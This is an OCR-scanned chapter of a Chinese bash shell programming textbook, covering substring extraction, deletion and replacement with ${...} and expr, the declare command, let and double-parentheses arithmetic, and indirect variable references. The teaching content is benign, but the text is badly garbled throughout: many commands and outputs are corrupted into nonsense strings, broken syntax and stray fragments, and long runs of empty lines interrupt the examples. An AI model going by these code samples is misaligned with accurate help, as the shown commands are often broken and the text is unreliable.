root@zawu shell-program string="Speeding up small jobs in Hadoop" 
第 1 条 命令 : 以 0 标号 开始 ， 抽 取 整 个 字符 串 
root@zawu shell-program echo ${string:0 




















I 
Kes) 










































































































































































speeding up small Jobs in Hadoop 
第 2 条 命令 : 从 标号 10 开始 抽取 子 串 


root@zawu shell-program echo ${string:10} 








Posmal ose nadooe 














root@zawu shell-program 
列 9-19 演示 使 用 #{fstring:position:length} 命令 抽取 字 串 ， 例 中 命令 position 为 9、length 
为 8， 即 从 标号 为 9 的 字符 开始 抽取 长 度 为 8 的 子 串 。 
例 9-19: 演示 使 用 ${string:position:length} 命 令 抽取 子 串 
root@zawu shell-program]# string="Speeding up small jobs in Hadoop" 















































root@zawu shell-program]# echo ${string:9:8 
up small 

















root@zawu shell-program]# 

$ {string:position} 和 #{string:position:length} 两 条 命令 都 是 从 string 的 左边 开始 计数 抽取 子 
串 ，#{...} 命 令 还 提供 了 从 string 右边 开始 计数 抽取 子 串 的 功能 ， 有 以 下 两 种 格式 : 

Cn on 冒号 和 横 杠 符号 之 间 有 一 个 空格 符 

(2) (SEE (eeen)} 冒号 和 左 括号 之 间 未 必要 有 空格 符 

下 面 的 例 9-20 演示 了 上 述 两 种 格式 的 命令 ， 例 中 第 1 条 命令 冒号 和 横 杠 符 之 间 无 空格 ， 
结果 将 string 的 整个 字符 串 抽取 出 来 作为 子 串 ， 与 我 们 预想 的 结果 不 符 ; 第 2 条 命令 用 圆 括 
号 将 -6 括 起 ， 结 果 从 右边 开始 抽取 出 长 度 为 6 的 字符 串 作 为 子 串 ; 第 3 条 命令 与 第 1 条 命令 
的 区 别 仅 在 于 冒号 和 横 杠 符 之 间 多 了 空格 ， 结 果 与 第 2 条 命令 一 样 ， 从 右边 开始 抽取 出 长 户 
为 6 的 字符 串 作 为 子 串 。 从 例 9-20 的 例子 可 以 看 出 ， 如 果 使 用 第 (1) 种 格式 的 命令 ， 冒 
和 横 杠 符 之 间 一 定 要 有 空格 ,否则 将 抽取 整个 字符 串 ， 若 用 第 (2) 种 格式 的 命令 ， 则 仅 需 用 
圆 括号 将 position 括 起 就 可 从 string 右边 开始 计数 抽取 子 串 。 

# 例 9-20: 演示 使 用 从 string 的 右边 抽取 子 串 
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避 油 
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root@zawu shel 











和 


-Program 


第 工 条 命令 ;冒号 和 横 杠 之 间 无 空格 ， 表 示 抽 取 整 个 字符 趾 


sbring Seccnme ueesmal os needle 








root@zawu shel 


各 
第 2 条 命令 : 





root@zawu shel 
Hadoop 




















e 
speeding up small Jobs in 
| 
I 


用 圆 括号 将 -6 括 起 ， 从 右边 开始 抽取 长 度 为 6 的 字符 串 


“EQGEam 


Ea 


echo ${string:-6} 
Hadoop 





echo ${string: (-6)} 











第 3 条 命令 : 冒号 和 横 杠 之 间 有 空格 ， 从 右边 开始 抽取 长 度 为 6 的 字符 串 








root@zawu shel 





Hadoop 






































expr: 语法 错误 























A 


第 1 条 命令 : 以 0 


peeding 
第 2 条 命令 : 以 1 





Speeding 























(expr maten 

















root@zawu shel 
除了 上 面 所 说 的 #{...} 命 令 之 外 ，expr substr 也 能 够 实现 抽取 子 串 功 能 ， 该 种 命令 的 格式 为 : 
expr substr $string $position $length 
该 命令 表示 从 名 称 为 $string 的 字符 串 的 第 $position 个 位 置 开 始 抽取 长 度 为 $length 的 子 
串 ，expr substr 命令 与 #{...} 命 令 最 大 的 不 同 之 处 在 于 expr substr 命令 是 从 1 开始 对 名 称 为 
$string 的 字符 串 进行 标号 的 。 另 外 ，expr substr 命令 中 的 $length 是 必 不 可 少 的 ， 如 果 缺 少 
$length 参数 ，Shell 将 报 expr 语法 错误 ， 如 例 9-21 所 示 。 
# 例 9-21: 缺少 $length 参数 的 expr substr 命令 


[root@zawu shell-program]# string="Speeding up small jobs in Hadoop" 
[root@zawu shell-program]# expr substr "$string" 1  # 人 缺少 $length 参数 ， 报 语法 错误 


root@zawu shell 


root@zawu shell 


root@zawu shell 


root@zawu shell 
接 下 来 ， 我 们 介绍 使 用 正则 表达 式 抽取 子 串 的 命令 ， 使 用 正则 表达 式 只 能 抽取 string 开 


头 处 或 结尾 处 的 子囊， 抽取 string 开头 处 子 串 的 命令 有 以 下 两 种 格式 : 


(2) "expr $string 

例 9-23 演示 如 何 抽 取 字 符 
Reading Hadoop， 它 的 开头 处 是 一 串 数字 ， 例 中 4 条 命令 都 将 substring 赋值 为 : [0-9]*， 该 正 
则 表达 式 意 义 为 0~9 的 任意 重复 的 数字 。 例 9-23 中 第 1 条 命令 使 用 第 (1) 种 格式 , 即 expr match 
格式 ， 结 果 抽 取出 another_string 开头 的 一 串 数 字 作为 子囊， 第 2 条 命令 使 用 第 〈2) 种 格式 ， 
并 在 冒号 前 后 都 加 上 了 空格 ， 结 果 得 到 正确 结果 ; 第 3 条 和 第 4 条 命令 演示 了 冒号 前 后 缺少 空 


| 人 二 专访 所 二 由 








sD a 





echo ${string: -6} 





















































[root@zawu shell-program]# 


下 面 的 例 9-22 给 出 $f{string:position:length} 和 expr substr $string $position $length 命令 在 同 








-program 
始 标号 ， 第 


oe en 


























始 标号 ， 第 


-program 








Eee 


























GAN 











样 的 position 和 length 参数 值 下 的 执行 结果 ,可 以 看 到 ，${string:position:length} 以 0 开始 标号 ， 
第 8 个 字符 是 p， 而 expr substr $string $position $length 以 1 开始 标号 ， 第 8 个 字符 为 S。 
例 9-22: ${...} 和 expr substr 命令 的 比较 结果 





string="Speeding up small jobs in Hadoop" 
8 个 字符 是 p 


echol ${string:1:8) 


8 个 字符 是 S 
expr ouseste dees 



































(aval) 











OSI 冒号 前 后 都 有 一 个 空格 




















串 开头 处 的 子 串 ， 该 例子 中 another string 的 值 赋 为 :， 20091114 
















































































第 1 条 命令 : 第 ( 


1) 种 格式 


222 AL 清 1 元 万 1 




















格 所 引起 的 错误 ， 可 以 看 到 ， 无 论 是 冒号 之 前 还 是 之 后 缺少 空格 ，Shell 都 将 报 语法 错误 。 
例 9-23: 演示 如 何 抽取 another string 开头 处 的 子 串 
root@zawu shell-program]# another string="20091114 Reading Hadoop" 
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root@zawu shell-program exprematenn samothner ys en lo ol 








和 0S 

第 2 条 命令 : 第 (2) 种 格式 ， 注意; 冒号 前 后 都 有 一 个 空格 

root@zawu shell-program expre Panorner sr 0 oN 全 N 是 
20091114 

第 3 条 命令 :冒号 前 缺少 空格 

root@zawu shell-program SXBr ianoenerns te :0 (0 00 可 虹 
expr: 语法 错误 

第 4 条 命令 ; 冒号 后 缺少 空格 





root@zawu shell-program expre venom ti 0 00 
expr: 语法 错误 
root@zawu shell-program 
抽取 string 结尾 处 子 串 的 命令 同样 有 以 下 两 种 格式 : 

Dexpr matehn gstrinog'*\N (HsubstringN) 

2 re eS Se # 冒 号 前 后 都 有 一 个 空格 

相 比 于 抽取 string 开头 处 的 子 串 ， 抽 取 string 结尾 处 子 串 的 命令 在 “\(” 之 前 多 了 “.*” 
符号 ， 我 们 可 以 将 .A\($substrineV) 理 解 成 正则 表达 式 ，.* 表 示 任 意 字 符 的 任意 重复 ，S$substring 
为 正则 表达 式 ， 因 此 ，.A\($substring\) 的 意义 为 在 任意 字符 的 任意 重复 后 〈( 即 字符 串 结 尾 处 ) 
抽取 满足 $substring 的 子 串 。 
列 9-24 演示 了 如 何 抽取 字符 串 结尾 处 的 子 串 ，$substring 为 6 个 句点 ， 表 示 6 个 任意 字 
符 。 因 此 ， 例 中 命令 的 意义 都 为 抽取 string 结尾 处 的 任意 6 个 字符 作为 子 串 。 









































































































































例 9-24: 演示 如 何 抽取 another _string 结尾 处 的 子 串 

root@zawu shell-program]# another string="20091114 Reading Hadoop" 
root@zawu shell-program]# expr match "$another string™" '.*\(...... NO 
Hadoop 

rootQzawu shell programl|t expr "$anotnerMstring. :0 xN( WY 
Hadoop 

root@zawu shell-program]# 
5. 删除 子 串 











与 抽取 子 串 相 反 ， 删 除 子 串 是 指 将 原 字 符 串 中 符合 条 件 的 子 串 删 除 ， 删 除 子 串 命 令 只 有 
${...} 格 式 的 ， 但 是 ， 删 除 子 串 命 令 可 以 分 为 从 开头 处 删除 和 从 结尾 处 删除 两 种 不 同 的 命令 。 
首先 ， 我 们 介绍 从 开头 处 删除 子 串 的 命令 ， 有 如 下 两 种 格式 ; 

(和 # 删 除 string 开头 处 与 substring 匹配 的 最 短 子 呈 

人 重用 IE HE | 除 string 开头 处 与 substring 匹配 的 最 长 子 虽 


# 
上 述 两 种 格式 命令 的 功能 是 不 同 的 , 第 (1) 种 格式 命令 的 功能 是 删除 开头 处 与 substring 
匹配 的 最 短 子 串 ， 即 string 开头 处 一 旦 与 substring 匹配 就 立即 删除 ; 第 (2) 种 格式 命令 的 功 
能 是 删除 开头 处 与 substring 匹配 的 最 长 子 串 ， 即 string 开头 处 直到 无 法 再 与 substring 匹配 时 
才 



























































Us UH 



























































































































































例 9-25 演示 了 上 述 两 种 格式 命令 的 用 法 ,第 1 条 命令 删除 string 开头 字 符 2 和 1 之 间 的 
最 短 匹 配 ， 结 果 匹 配 到 1114 的 第 一 个 1; 第 2 条 命令 删除 string 开头 字符 2 和 1 之 间 的 最 长 
匹配 












































结果 匹配 到 1114 的 最 后 一 个 1。 两 条 命令 中 的 * 字 符 表 示 任 意 字 符 ， 需 要 注意 的 是 ， 
由 串 命 令 的 substring 并 非 是 正则 表达 式 ， 仅 表示 从 起 始 字符 到 终止 字符 ，* 字 符 表 示 起 
始 字 符 和 终止 字符 之 间 的 任意 字符 ， 这 也 正 是 * 字 符 在 此 环境 下 的 特殊 用 法 。 

# 例 9-25: 删除 another string 开头 处 与 substring 匹配 的 最 短 子 串 和 最 长 子 串 


[Eretzawu snell programli anothnerstring = UUSEEResannoggisoqgoco 
# 第 1 条 命令 : 删除 another string 开头 处 2 和 1 之 间 的 最 短 匹配 
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root@zawu shell-program]# 
114 Reading Hadoop 





root@zawu shell-program]# 
4 Reading Hadoop 
root@zawu shell-program]# 














的 两 种 命令 格式 : 
(1)${stringssubstrind} 
(2)$f{stringgssubstring} 




















# 
# 
上 面 两 条 命令 可 以 看 出 ， 从 string 开头 处 或 结尾 处 删除 子 串 的 不 同 仅 在 于 # 和 % 两 个 符 





精通 》 


echo ${another string#2*1} 


第 2 条 命令 : 删除 another string 开头 处 2 和 1 之 间 的 最 长 匹配 


echo ${another string##2*1} 

















删除 子 串 还 可 以 从 string 的 结尾 处 开始 删除 ， 有 与 上 述 开头 处 删除 子 串 命令 格式 相对 应 








| 除 string 结尾 处 与 substring 匹配 的 最 短 子 串 
| 除 string 结尾 处 与 substring 匹配 的 最 长 子 串 






































号 不 同 。 例 9-26 演示 上 述 两 种 格式 命令 的 用 法 ， 第 1 条 命令 删除 string 结尾 处 字符 a 和 Pp 之 
间 的 最 短 匹 配 ， 结 果 删 除了 adoop 子 串 ; 第 2 条 命令 删除 string 结尾 处 字符 a 和 op 之 间 的 最 
长 匹配 ， 结 果 删 除了 ading Hadoop 子 串 。 









































例 9-26: 
root@zawu shell-program 


A 
第 1 条 命令 : 


除 another string 





root@zawu shell-program 
2009T1T4 ReadingH 

第 2 条 命令 : 
root@zawu shell-program 
20091114 Re 
root@zawu shell-program 


6. 替换 子 串 




















二 
































除 another string 结尾 处 a 和 op 之 间 的 最 短 子 串 


删除 another_string 结尾 处 a 和 pp 之 间 的 最 长 子 串 

















结尾 处 与 substring 匹配 的 最 短 子 串 和 最 长 子 串 
aneotnesterng = .2000 0M Readmmoenadeeoe, 


echo ${another string%a*p} 








echo ${another string%%a*p} 

















蔡 换 子 串 命 令 都 是 ${...} 格 式 ， 可 以 在 任意 处 〈 也 包括 开头 处 和 结尾 处 ) 蔡 换 满足 条 件 的 














子 串 。 首 先 介绍 在 任意 处 替换 子 














串 的 命令 ， 如 下 两 条 格式 的 命令 : 





(1)${string/substring/replacement} # 仅 替换 第 一 次 与 substring 相 匹配 的 子 串 
(2) ${string//substring/replacement} # 蔡 换 所 有 与 substring 相 匹 配 的 子 串 








第 〈1) 种 格式 的 命令 仅 蔡 换 第 二 次 与 substring 相 匹 配 的 子 串 ， 蔡 换 内 容 为 repacement 
子 串 ， 第 〈2) 种 格式 在 string 和 substring 之 间 比 第 (1) 种 格式 多 出 一 条 斜 枉 ， 表 示 替 换 所 


























有 与 substring 相 匹 配 的 子囊， 替换 内 容 同样 为 repacement 子 串 。 

















例 9-27 演示 上 述 两 种 格式 命令 的 用 法 ， 第 1 条 命令 为 第 (1) 种 格式 ， 仅 将 第 一 个 111 
子 串 用 zzzz 子 串 进行 替换 ， 由 例 中 结果 也 可 看 出 ， 第 二 个 111 子 串 未 被 替换 ， 第 1 条 命令 为 



































第 (2) 种 格式 ， 它 将 所 有 的 111 子 串 蔡 换 为 zzzz 子 串 


例 9-27: 替换 与 substring 区 





root@zawu shell-program 
第 1 条 命令 : 仅 蔡 换 第 1 次 出 现 
root@zawu shell-program 











root@zawu shell-program 























root@zawu shell-program 


同 删 除 子 串 一 





I 


义 ， 表 示 起 始 字 符 和 终止 字符 之 间 的 任意 字符 ， 例 9-28 演示 * 字 符 在 蔡 换 命令 中 的 用 法 ， 








ez 


substring 为 0*y， 表 示 从 0 字 答 

















了 
o 


C 的 子 串 
Str 00 su a eonorE ow, 
11 的 地 方 ， 第 2 次 出 现 111 的 地 方 不 修改 

echo $string/L11/Z222)} 











2009zzzz5sunday20091116tomorrow 
第 2 条 命令 :将 换 所 有 出 现 111 的 地 方 


echo ${string//111/zzzz} 


2009zzzz5sunday2009zzzz6tomorrow 
































， 巷 换 子 串 中 的 substring 不 是 正则 表达 式 ， 但 是 ，* 字 符 具有 特殊 的 意 






































开始 到 y 字符 结束 的 字符 串 ， 结 果 将 0091115sunday 替换 为 
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ZZZZ。 





例 9-28: * 字 符 在 替换 子 串 命令 中 的 用 法 
root@zawu shell-program sree 00 maa mo we 
echo ${string/0*y/zzzz} 





] 
root@zawu shell-programl] 
oS ll Naor 


root@zawu shell-programl] 




































































替换 子 串 命令 还 有 两 种 格式 ， 分 别 在 string 开头 处 和 结尾 处 蔡 换 与 substring 相 匹 配 的 子 
串 ， 命 令 格式 为 : 
(1) ${string/#substring/replacement} # 替 换 string 开头 处 与 substring 相 匹 配 的 子 串 
2)$f{string/ssubstring/replacement} # 替 换 string 结尾 处 与 substring 相 匹 配 的 子 串 


上 述 两 种 格式 命令 的 区 别 仅 在 于 第 (1) 种 格式 斜 杠 后 为 # 符 号 ， i 鹤 (2) 种 格式 斜 杠 后 
为 % 符 号 ， 例 9-29 演示 蕉 换 开头 处 和 结尾 处 子 串 命令 的 用 法 ， 例 中 第 1 条 命令 利用 第 (1) 

种 格式 命令 替换 开头 处 子 串 ， 将 2009 赫 换 为 YEAR; Cn 2 条 命令 利用 第 (2) 种 格式 命 
令 蔡 换 结尾 处 子 串 ， 用 t*w 表示 从 tt 字符 开 头 到 w 字符 结束 的 字符 串 ， 结 果 将 结尾 处 的 
tomorrow 替换 为 YESTADAY 。 

例 9-29: 替换 开头 处 和 结尾 处 子 串 的 命令 

root@zawu shell-program Serinmoag— 2000lMm Sundavy2000 eomeEEen 

第 1 条 命令 : 蔡 换 开头 处 的 子 串 
root@zawu shell-program echo ${string/#2009/YEAR} 
YEAR1115sunday20091116tomorzow 

第 2 条 命令 ;替换 结尾 处 的 子 串 
root@zawu shell-program echo ${string/%t*w/YESTADAY} 
20091115sunday20091116YESTADAY 

root@zawu shell-program 


Shell 变量 一 般 是 无 类 型 的 ， 但 是 bash Shell 提供 了 declare 和 typeset 两 个 命令 用 于 指定 
变量 的 类 型 ， 两 个 命令 是 完全 等 价 的 ，declare 命令 在 bash 2.0 版 本 后 被 引入 ，typeset 命令 也 
适用 于 Korn Shell。 由 于 这 两 个 命令 完全 等 价 ， 因 此 ， 本 节 仅 以 declare 命令 为 例 来 解释 这 两 
个 命令 的 用 法 。declare 命令 的 格式 为 : 


declare [选项 ] 变量 名 




























































































































































































declare 命令 有 6 个 选项 ， 表 9-2 给 出 了 declare 命令 的 选项 及 其 意义 。 


表 9-2 ”declare 命令 的 选项 及 其 意义 











显示 此 脚本 前 定义 过 的 所 有 函数 名 及 
显示 此 脚本 前 定义 过 的 所 有 函数 名 
将 变量 声明 为 环境 变量 
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declare 命令 









































令 的 了 选项 将 变量 设置 为 只 读 属 性 ， 其 功能 与 6.1.1 市 介绍 的 readonly 命令 完 
全 一 样 ， 变 量 被 设置 为 上 只 读 后 ， 变 量 值 不 允许 再 被 修改 。 

declare 命令 的 -i 选项 将 变量 定义 为 整 型 数 ， 一 旦 变量 被 定义 为 整 型 数 ，Shell 不 再 按照 
符 串 形式 来 处 理 该 变量 ， 人 允许 使 用 该 变量 进行 算术 和 运算。 下面 的 例 9-30 说 明了 declare 命令 
的 -i 选项， 同时 介绍 了 let 命 


















































[7 
按照 









































令 的 意义 。 新 建 名 为 vartype.sh 的 脚本 ， 内 容 如 下 : 








# 例 9-30: vartype.sh 脚本 说 明 declare -i 命令 和 let 命令 


#!/bin/bash 


variablel=2009 
variable2=$variablel+1 以 字符 型 处 理 variable2 


echo 


vvariable2=$bvariable2" 


Te van dvr lenel let 命令 以 整 型 数 处 理 variable3 


echo 


declare -i Variable4 


"varliabled=bvariabled 











将 variable4 定义 为 整 型 


variable4=$variablel+1 


echo 


下 面 给 出 vartype.sh 脚 




















vvariabled— Hvariadled 

















本 的 执行 结果 ，vartype.sh 脚本 首先 定义 variable1， 赋 值 为 2009， 























然后 定义 variable2， 用 表达 式 $variablel+1 赋值 。 从 结果 可 以 看 到 ，variable2=2009+1， 这 说 





明 Shell 将 variable2 当做 


variable3， 利 用 let 命令 将 其 
时 Shell 将 variable3 当做 整 型 来 处 理 ， 执 行 了 加 法 运算 。 最 后 ，vartype.sh 脚本 用 declare -i 
命令 将 variable4 定义 为 整 型 数 ,， 然后 用 表达 式 $variablel+1 赋值 ， 结 果 显 示 ，variable4=2010， 


这 说 明 Shell 同样 将 variable4 当做 整 型 数 处 理 ， 执 行 加 法 运算 。 
# 例 9-30 vartype.sh 脚本 的 执行 结果 


行 算 


人 
命令 





9-31 























字符 串 来 处 理 ， 并 没有 进行 加 法 运算 。 接 着 ，vartype.sh 脚本 定义 











直 赋 为 $variablel+1， 从 结果 可 以 看 到 ，variable3=2010， 这 说 明 此 























[root@zawu shell-prog 
[root@zawu shell-prog 
variable2=2009+1 

variable3=2010 
variable4=2010 



































ram]# chmod ut+x vartype.sh 
ram]# ./vartype.sh 


[root@zawu shell-program]# 












































的 doubleparenthese.sh 
# 例 9-31: doubleparent 
#!/bin/bash 





variablel=12 
variable2=5 


vartype.sh 脚本 可 以 看 出 ，declare -i 命令 可 以 将 变量 定义 为 整 型 ， 在 默认 情况 下 就 进 
术 运 算 。 如 果 不 使 用 declare -i 命令 ， 在 算术 运算 时 需要 使 用 let 命令 ， 顺 便 提 及 ，expr 
可 以 替换 let 命令 ， 使 后 面 的 表达 式 进 行 算术 运算 。 

在 此 ， 我 们 再 介绍 一 利 



























































使 变量 执行 算术 运算 的 方法 一 一 双 圆 括号 方法 ， 即 ((...7) 格 式 。 例 
脚本 演示 了 双 圆 括号 的 用 法 , doubleparenthese.sh 脚本 的 内 容 如 下 : 
































hese. sh 脚本 演示 双 圆 括号 的 用 法 
































result=$( (variablel*variable2)) # 用 双 圆 括号 括 起 使 变量 进行 算术 运算 


echo "result=$result" 


doubleparenthese.sh 脚 


化 : 青 | 元 见 


HQYJ.COM 





本 首先 定义 variablel 和 variable2 ， 然 后 用 result=$((variable1* 
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variable2)) 语 句 为 result 变量 赋值 ，Shell 将 双 圆 括号 内 的 表达 式 解 析 为 算术 和 运算。 下面 给 出 了 
例 9-31 中 doubleparenthese.sh 脚本 的 执行 结果 ,我 们 可 以 看 到 ，result=60， 这 表明 result 的 值 
实 是 variablel 和 variable2 执行 乘法 运算 后 的 结果 。 


# 例 9-31 doubleparenthese .sh 脚本 的 执行 结果 
[root@zawu shell-program]# chmod utx doubleparenthese.sh 


















































[root@zawu shell-program] ./doubleparenthese.sh 
result=60 
[root@zawu shell-program] 


双 圆 括号 方法 的 男 一 功能 是 使 bash Shell 实现 了 C 语言 风格 的 变量 操作 ， 我 们 用 例 9-32 
来 说 明 这 点 ， 新 建 名 为 cstyle.sh 的 脚本 ， 内 容 如 下 : 

# 例 9-32: cstyle.sh 脚本 利用 双 圆 括号 方法 实现 c 语言 风格 的 变量 操作 

#!/bin/bash 



































((a = 2009)) # 等 号 两 端 各 有 一 个 空格 


eehneo me Tanneiol vealte ora sda 














# 自 加 、 自 减 是 Shel1 算术 运算 符 中 未 曾 定义 过 的 ，C 语言 中 有 相关 内 容 








((a++) ) 
ES 
( (++a) ) 
EN 
(las==)) 
Eee 
(Us=2) 


Senco Nee Semen va na 

cstyle.sh 脚本 在 双 圆 括号 内 实现 五 种 'C 语言 风格 的 运算 ， 首 先是 C 语言 风格 的 赋值 ，C 
语言 允许 赋值 号 两 端 存在 空格 ， 但 是 ， 这 在 Shell 中 是 不 允许 的 。 其 次 ， 变 量 a 可 以 使 用 C 
语言 中 定义 的 自 加 和 自 减 符号 ,这 两 个 符号 在 Shell 的 算术 运算 符 中 是 未 曾 定义 过 的 。 下 面 
给 出 cstyle.sh 脚本 的 执行 结果 ， 可 以 看 到 ，a 确实 被 成 功 地 赋值 ， 并 成 功 地 实现 自 加 和 自 减 

# 例 9-32 cstyle.sh 脚本 的 执行 结果 

[root@zawu shell-program]# chmod u+x cstyle.sh 

[root@zawu shell-program]# ./cstyle.sh 

The initial value of a is:2009 

After a++rthe value of a is:2010 

After ++a,the value of a is:2011 

After a--,the value of a is:2010 


After --a,the value of a is:2009 
[root@zawu shell-program]# 


当然 ， 双 圆 括号 方法 还 可 以 实现 更 加 复杂 的 C 语言 风格 的 运算 ， 如 逻辑 判断 、 三 元 操作 
等 ， 读 者 可 以 执行 本 章 上 机 提议 第 9 题 给 出 的 脚本 。 

declare 命令 的 -a 选项 将 变量 声明 为 数组 类 型 ,Shell 将 按照 数组 来 处 理 该 变量 , 关于 数组 ， 
我 们 将 在 第 14 章 详 细 介绍 ， 在 此 不 再 展开 论述 。 

declare 命令 的 工 选 项 有 两 种 格式 ， 第 〈1) 种 格式 不 带 任何 参数 ， 第 〈2) 种 格式 带 函 数 
名 ， 有 具体 格式 如 下 : 


Ddeelare Ff 
(2) declare -f function-name 
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declare 下 命令 的 第 (1) 种 格式 显示 此 脚本 前 定义 过 的 所 有 函数 名 及 内 容 ， 而 第 (2) 利 
格式 仅 显 示 function-name 函数 名 及 其 内 容 。 

declare 命令 的 -F 选项 只 显示 函数 名 ， 不 显示 函数 的 内 容 。 因 此 ，declare -F 命令 后 不 再 
需要 添加 任何 参数 。 

Shell 编程 中 的 函数 将 在 第 13 章 详细 介绍 ,在 此 仅 介 绍 declare 的 -f 和 -F 选项 的 意义 ， 
不 对 函数 展开 介绍 。 

declare 命令 的 -x 选项 将 变量 声明 为 环境 变量 ,相当 于 export 命令 , 但 是 ，declare -x 允许 
在 声明 变量 为 环境 变量 的 同时 给 变量 赋值 , 而 export 命令 不 支持 此 功能 , 即 如 下 格式 的 declare 
命令 是 成 立 的 。 


declare -x variable-name=value 


间接 变量 引用 人 


如 果 第 一 个 变量 的 值 是 第 二 个 变量 的 名 字 ， 从 第 一 个 变量 引用 第 二 个 变量 的 值 就 称 为 间 
接 变 量 引用 。 设 有 如 下 两 个 表达 式 : 


variablel=variable2 































































































































































































variable2=value 


variablel 的 值 是 variable2， 而 variable2 又 是 变量 名 ，variable2 的 值 为 value， 间 接 变 量 引 
用 是 指 通 过 variablel 获得 变量 值 value 的 行为 ,，bash Shell 提供 了 两 种 格式 实现 间接 变量 引用 : 


(1) eval tempvar=\$$variablel 







































































(2 temevar= =$(!variablely 
第 (1) 种 格式 中 eval 是 关键 字 用 $$ 形式 得 到 variablel 的 间接 引用 ， 保 存在 tempvar 
变量 中 ， 第 (2) 种 格式 用 ${1...} 得 到 variablel 的 间接 引用 ， 并 赋 给 tempvar。 下 面 的 例 9-33 


说 明了 以 上 两 种 格式 命令 ， 新 建 名 为 indirect.sh 的 脚本 文件 ， 内 容 如 下 : 


# 例 9-33: indirect.sh 脚本 演示 间接 变量 引用 
#!/bin/bash 















































variablel=variable2 # 定 义 variablel 变量 ， 它 的 值 为 variable2 
variable2=Hadoop #variable2 又 是 一 变量 名 ， 值 为 Hadoop 
民有 # 直 接 引 用 variablel 

eval tempvar=\$$variablel # 用 第 (1) 种 格式 命令 间接 引用 variablel 











echo "tempvar=$tempvar" 


# 用 第 (2) 种 格式 命令 间接 引用 variablel 


echo "Indirect ref WO OD ee ee 


indirect.sh 脚本 首先 定义 variablel 变量 ， 其 值 为 variable2， Wm variable2 又 是 一 个 变量 名 ， 
其 值 为 Hadoop。indirect.sh 脚本 分 别 输出 直接 引用 variablel1、 用 第 (1) 种 格式 命令 间接 引用 
ariablel 、 用 第 〈2) 种 格式 命令 间接 引用 variablel 的 结果 。 出 indirect.sh 脚本 的 执行 
结果 。 


# 例 9-33 ingirect. sh 脚本 的 执行 结果 
[root@zawu shell-program]# chmod ut+x indirect.sh 
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[root@zawu shell-program]# ./indirect.sh 






































a i eS # 直 接 引 用 variablel 的 结果 
tempvar=Hadoop # 间 接 引 用 variable1l 的 结果 
Tnadirect ref lvariaslel lis nadoop # 间 接 引 用 variable1l 的 结果 


[root@zawu shell-program]# 

从 例 9-33 的 结果 可 以 看 出 ， 直 接 引 用 variablel 的 结果 为 variable2， 间 接 引 用 variablel 
的 结果 为 Hadoop。 
我 们 再 查看 indirect.sh 脚本 中 两 种 间接 引用 命令 的 使 用 方法 , 第 (1) 种 格式 中 , 由 于 eval 
关键 字 的 存在 ， 必 须 引 入 临时 变量 tempvar 保存 间接 引用 结果 ， 而 第 (2) 种 格式 则 可 以 直接 
使 用 $flvariable1} 得 到 variablel 的 间接 引用 。 因 此 ， 第 (2) 种 格式 的 间接 引用 比 第 〈1) 格 
式 直 观 且 更 加 便于 使 用 。 

接 下 来 ， 我 们 举 一 个 间接 变量 引用 的 例子 ， 该 例 利 用 间接 变量 引用 实现 数据 库 表 格 的 查 


找 ， 新 建 名 为 indirectapp1.sh 的 脚本 ， 内 容 如 下 : 
例 9-34: indirectappl.sh 脚本 说 明 间 接 变量 引用 的 应 用 
/bin/bash 























en ms 





































































































sll 








非 非 非 间 提 磊 提 间 提 捍 大 间 提 提 间 提 间 提 间 ##### 数 据 库 表格 数据 #### 间 非 间 间 捍 非 间 提 捍 闫 间 提 提 间 提 捍 提 六 提 捍 提 提 提 提 间 提 提 提 
Sonmaane Eaoy 

Soimadeee Conemeer 

S01 phone=025-83481010 

SO nk 3 





somomse zhano 
Ze Rnglsn 

S02 phone=025-83466524 
S02rank =8 


Soemname si 

SOSemdeele Dayes 

S03_ phone=025-83680010 

号 03 

非 捍 振 振 拓 大 提 提 失 失 提 提 划 井 # 划 翰 # 卉 ####### 数 据 库 表 格 数 据 提 大 提 提 大大 提 提 提 提 提 提 划 划 划 划 划 坟 坟 坟 提 坟 提 提 捍 振 振 拓 提 提 夫 


# 设 置 3 级 shell 提示 符 变量 ， 改 变 select 命令 的 提示 符 
PS3="'Pls. select the number of student:" 











# 用 select 建立 选择 菜单 ， 供 用 户 选择 学 号 
seleee seEunom rn Son S02 S03 
ele 
# 将 输入 的 学 号 组 合成 名 字 、 系 名 、 电 话 和 排名 的 变量 名 
name=${stunum} name 
dept=${stunum} dept 











phone=${stunum} phone 
rank=${stunum} rank 





# 通 过 间接 变量 引用 得 到 学 生 的 信息 

echo "BASIC INFORMATION OF NO.$stunum STUDENT:" 
echo "NAME:${!name}" 

echo "DEPARTMENT:${!dept}" 

echo "PHONE:${!phone}" 

echo "RANK:${!rank}" 
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的 学 号 开头 , 下 画 杠 后 面 跟 该 学 生 具 体 
S02 phone 表示 学 号 为 S02 的 学 生 的 电话 号 码 。 然 后 ，indirectapp1.sh 脚本 用 select 命令 新 建 
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break 
done 


indirectapp1.sh 脚本 首先 将 数据 库 中 的 表格 数据 赋 给 一 些 变 量 ， 这些 变量 以 数据 库 主 键 学 生 
言 县 的 名 称 , 如 S01_name 表示 学 号 为 S01 的 学 生 的 姓名 、 








































































































菜单 ,供用 户 选 择 需要 查询 的 学 号 ,stunum 变量 保存 S01、S02 或 S03 ,再 通过 stunum 与 _name、 
_dept、phone 和 rank 字符 串 组 合成 S01 name、S01 phone 和 S02 phone 等 变量 , 显然 , name 














恋 电 


里 











的 值 为 S01 name、S02 name 或 S03 name。 最 后 ，indirectapp1.sh 脚本 间接 引用 name、 




















dept、phone 和 rank 变量 ， 得 到 用 户 所 选择 的 那个 学 生 的 相应 信息 。 下 面 给 出 indirectapp1.sh 
脚本 的 执行 结果 。 














例 9-34 indirectapp1l1.sh 脚本 的 执行 结果 
root@zawu shell-program]# chmod u+x indirectappl.sh 
root@zawu shell-program]# ./indirectappl.sh 











SO 

2 0 

32) S03 # 以 上 是 select 命令 自动 生成 的 菜单 
El eleece en numer or en # 用 户 输入 ， 本 例 中 为 2 














# 以 下 是 由 间接 变量 信息 反馈 与 用 户 输入 相对 应 的 信息 
BASIC INEORMATION OF NO.S02 STUDENT : 
NAME : 2hang Ju 

DEPARTMENT :English 

PHONRROUO2S5E8S466524 

RANK:8 

[root@zawu shell-program]# 


从 例 9-34 的 结果 可 以 看 出 ， 运 行 indirectapp1.sh 脚本 后 ，Shell 弹出 由 select 命令 自动 生 





















































成 的 菜单 ， 等 待 用 户 在 由 PS3 所 设置 的 3 级 Shell 提示 符 “Pls. select the number of student:” 









































后 输入 选择 ， 此 时 输入 的 是 2，Shell 反馈 出 S02 学 生 的 信息 。 此 时 ，stunum 变量 值 为 S02、 
